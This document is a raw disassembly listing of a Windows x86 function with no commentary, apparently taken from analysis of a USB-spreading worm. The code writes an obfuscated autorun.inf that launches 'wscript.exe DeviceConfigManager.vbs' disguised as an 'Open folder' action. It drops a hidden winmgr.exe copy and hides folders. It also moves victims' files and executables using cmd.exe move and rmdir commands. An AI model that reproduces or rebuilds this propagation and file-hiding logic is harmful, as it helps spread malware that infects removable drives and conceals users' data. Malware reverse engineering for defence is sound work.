call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x568]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x888]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x403033
push 0x40778c
lea eax, [ebp - 0x888]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x403033
mov dword [ebp - 0xae8], 0
jmp 0x402d50
mov ecx, dword [ebp - 0xae8]
add ecx, 1
mov dword [ebp - 0xae8], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xae8], edx
jge 0x402d9f
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402d7c
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407790
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402d41
push str._autorun__n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xaec], 0
jmp 0x402dce
mov ecx, dword [ebp - 0xaec]
add ecx, 1
mov dword [ebp - 0xaec], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaec], edx
jge 0x402e1d
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402dfa
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4077a0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402dbf
push str.icon__SystemRoot___system32SHELL32.dll_4_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xaf0], 0
jmp 0x402e4c
mov ecx, dword [ebp - 0xaf0]
add ecx, 1
mov dword [ebp - 0xaf0], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaf0], edx
jge 0x402e9b
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402e78
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4077d0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402e3d
push str.actionOpen_folder_to_view_files_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xaf4], 0
jmp 0x402eca
mov ecx, dword [ebp - 0xaf4]
add ecx, 1
mov dword [ebp - 0xaf4], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaf4], edx
jge 0x402f19
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402ef6
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4077f8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402ebb
push str.openwscript.exe_DeviceConfigManager.vbs_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xaf8], 0
jmp 0x402f48
mov ecx, dword [ebp - 0xaf8]
add ecx, 1
mov dword [ebp - 0xaf8], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaf8], edx
jge 0x402f97
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402f74
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407828
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402f39
push str.UseAutoPlay1_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xafc], 0
jmp 0x402fc6
mov ecx, dword [ebp - 0xafc]
add ecx, 1
mov dword [ebp - 0xafc], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xafc], edx
jge 0x403015
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402ff2
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x40783c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402fb7
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x888]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40306e
push 0
push 0
push 0
push 8
push str.shell32.dll
push 0
push 0x40784c
lea eax, [ebp - 0x568]
push eax
lea ecx, [ebp - 0x990]
push ecx
call fcn.00401810
add esp, 0x24
lea edx, [ebp - 0x358]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4030a1
push 0
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4030a1
push 7
lea ecx, [ebp - 0x358]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x407850
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0xb00], eax
cmp dword [ebp - 0xb00], 0
je 0x403128
push 2
push 0
mov eax, dword [ebp - 0xb00]
push eax
call sub.MSVCRT.dll_fseek
add esp, 0xc
mov ecx, dword [ebp - 0xb00]
push ecx
call sub.MSVCRT.dll_ftell
add esp, 4
mov dword [ebp - 0xb04], eax
mov edx, dword [ebp - 0xb00]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, dword [ebp - 0xb04]
cmp eax, dword [0x40ba40]
je 0x403128
push 0x80
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40315c
push 0
lea ecx, [ebp - 0x460]
push ecx
push str.C:UsersEquipo_1M_505052790752093502937529340winmgr.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea edx, [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 0xffffffff
jne 0x403186
xor eax, eax
jmp 0x40359d
push 0x407854
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4031c1
lea eax, [ebp - 0x780]
push eax
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
je 0x4032de
push str..vbs
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4031fa
push 0x407864
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
je 0x4032de
push 0x40787c
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push 0x407880
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..scr
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..com
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..jse
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..cmd
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..pif
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..jar
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4032de
push str..dll
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
je 0x403333
push 0x104
push 0
lea ecx, [ebp - 0x990]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x4078c0
lea ecx, [ebp - 0x990]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x990]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x358]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40356f
push 0x104
push 0
lea edx, [ebp - 0xc10]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push str..lnk
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x40356f
lea ecx, [ebp - 0x780]
push ecx
lea edx, [ebp - 0x224]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x40356f
push 0x4078d0
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x40356f
push str.DeviceConfigManager.vbs
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x40356f
push str.autorun.inf
lea edx, [ebp - 0x224]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x40356f
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x990]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x4078f8
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s__s
lea ecx, [ebp - 0x990]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x990]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403533
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403533
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0x10
jne 0x403526
push 0x407908
lea eax, [ebp - 0x990]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x403524
push 0x40790c
lea ecx, [ebp - 0x990]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x403524
lea edx, [ebp - 0x108]
push edx
push str._c_rmdir__q__s___s_
lea eax, [ebp - 0xc10]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0xc10]
push ecx
push 0x407924
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x403533
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x990]
push eax
lea ecx, [ebp - 0x108]
push ecx
push str._c_move__y___s_____s_
lea edx, [ebp - 0xc10]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0xc10]
push eax
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x250]
push ecx
mov edx, dword [ebp - 0x674]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403186
mov eax, dword [ebp - 0x674]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov esp, ebp
pop ebp
ret